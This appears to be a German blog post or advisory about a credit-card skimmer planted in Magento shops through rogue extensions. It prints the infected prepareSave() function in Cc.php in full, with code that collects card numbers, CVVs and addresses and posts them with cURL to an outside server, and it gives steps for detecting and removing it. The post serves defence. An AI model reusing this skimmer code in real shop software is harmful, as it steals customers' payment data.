Wie jetzt bekannt wurde gibt es eine Sicherheitslücke mit der gespeicherte Kreditkartenangaben im Magento Shopsystem abgefangen werden können. Betroffen ist dann unter anderem die standardmäßig mitgelieferte Kreditkartenzahlung. So können Hacker Schadcode einschleusen und somit Zugriff auf Kreditkartendaten der Kunden bekommen.
Der Angriff
In den meisten Fällen betrifft diese Sicherheitslücke die Zahlungen per Kreditkarte, es wäre aber auch möglich das weitere Zahlungsmethoden betroffen sind. So kann durch eine schadhafte Extension die Kreditkartenfunktion abgeändert werden. Die schadhaften Extensions werden kostenlos angeboten, sodass sich Kunden diese Extension installieren. Allerdings ist es dringend ratsam jede Extension einer Review zu unterzeihen. Die Netresearch App Factory hat dafür ein Tool geschaffen, Judge. Hier kann man kostenlos seine Extension hochladen die dann ausführlich getestet wird. In einem älteren Artikel haben wir Judge schon einmal vorgestellt. Alternativ kann man natürlich auch einen Magento Experten darüber schauen lassen. Man kann relativ einfach selbst feststellen ob der eigene Shop betroffen ist. Dazu benötigt man lediglich einen FTP-Zugang, ein FTP-Programm (z.B. FileZilla) und einen Code-Editor (z.B. Notepad++).
Der Schadcode wird in die Funktion der Zahlungsmethode hinzugefügt. Bei der Kreditkartenzahlung liegt die betroffene Datei unter: [magento_root]/app/code/core/Mage/Payment/Model/Method/Cc.php und sieht in standardmäßig so aus:
public function prepareSave() { $info = $this->getInfoInstance(); if ($this->_canSaveCc) { $info->setCcNumberEnc($info->encrypt($info->getCcNumber())); } //$info->setCcCidEnc($info->encrypt($info->getCcCid())); $info->setCcNumber(null) ->setCcCid(null); return $this; }
Ist die Datei betroffen wird diese Funktion erweitert, damit die Angreifer die Daten abschöpfen können. Die Funktion prepareSave() wird dann wie folgt vergrößert:
public function prepareSave() { $info = $this->getInfoInstance(); $object = new Mage_Checkout_Block_Onepage_Billing; $address1 = $object->getQuote()->getBillingAddress(); $data1 = $address1->getFirstname(); $data2 = $address1->getLastname(); $data3 = $address1->getStreet(1); $data4 = $address1->getStreet(2); $data5 = $address1->getCity(); $data6 = $address1->getRegion(); $data7 = $address1->getPostcode(); $data8 = $address1->getCountry(); $data9 = $address1->getTelephone(); $data10 = $info->getCcNumber(); $expyear = substr($info->getCcExpYear(), -2); $expmonth = $info->getCcExpMonth(); if (strlen($expmonth) == 1) { $expmonth = '0'.$expmonth; }; $data11 = $expmonth; $data12 = $expyear; $data13 = $info->getCcCid(); $data14 = ''; $data15 = "yoursite.com"; $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail(); $data17 = ''; //county $post77 = "firstname=".$this->dsCrypt($data1)."&lastname=".$this->dsCrypt($data2)."&street1=".$this->dsCrypt($data3)."&street2=".$this->dsCrypt($data4)."&city=".$this->dsCrypt($data5)."&state=".$this->dsCrypt($data6)."&zip=".$this->dsCrypt($data7)."&country=".$this->dsCrypt($data8)."&phonenumber=".$this->dsCrypt($data9)."&ccnumber=".$this->dsCrypt($data10)."&expmonth=".$this->dsCrypt($data11)."&expyear=".$this->dsCrypt($data12)."&cvv=".$this->dsCrypt($data13)."&comment1=".$data14."&comment2=".$data15."&email=".$this->dsCrypt($data16)."&county=".$this->dsCrypt($data17); $url = "http://java-e-shop.com/add"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); // set url to post to curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable curl_setopt($ch, CURLOPT_TIMEOUT, 60); // times out after 4s curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post77); $result = curl_exec($ch); // run the whole process curl_close($ch); if ($this->_canSaveCc) { $info->setCcNumberEnc($info->encrypt($info->getCcNumber())); } //$info->setCcCidEnc($info->encrypt($info->getCcCid())); $info->setCcNumber(null) ->setCcCid(null); return $this; }
Wie man sehen kann werden viele neue Zeilen Code eingefügt. Der Hauptzweck des Schadcodes ist es persönliche Daten, die von einem Kunden eingegeben werden an einen Remote-Server mittels CURL-Request zusenden. Der Name des Servers ist in den vorleigenden Fällen immer der gleiche: http://java-e-shop.com/add
Die Lösung
In acht Schritten kann man das Problem lösen und hat wieder einen sicheren Shop.
- Laden Sie sich eine Kopie der eingesetzten Magento Version herunter.
- Öffnen Sie die Datei unter /app/code/core/Mage/Payment/Model/Method/Cc.php mit einem Code-Editor und schauen Sie sich die oben genannte Funktion prepareSave() an.
- Mit einem FTP-Programm laden Sie sich die selbe Datei von ihrem Webserver herunter.
- Diese Datei mit einem Code-Editor ebenfalls öffnen (Alternativ kann man auch ein Vergleichsprogramm einsetzen, z.B. Compare it!, das ich auch im Einsatz habe.
- Sind die Funktionen identisch, ist der Shop nicht betroffen. Anderenfalls: Die „frische“ Funktion kopieren und in der vom Webserver geladenen Datei die Funktion überschreiben.
- Die Datei mit der neuen Funktion auf den Webserver laden.
- Eine Probebestellung durchführen ob die Kreditkartenzahlung wieder ordnungsgemäß funktioniert.
- Passwörter ändern! (Empfehlenswert zu ändern falls vorhanden: SSH, cPanel, FTP, etc.)
Nach diversen Hinweisen, u.A. auch in der Magento Germany Google+ Gruppe wurde der Artikel noch einmal aktualisiert und überarbeitet. Dank geht vor allem an Atwix die dieses Problem gefunden und den Lösungsansatz öffentlich gemacht haben.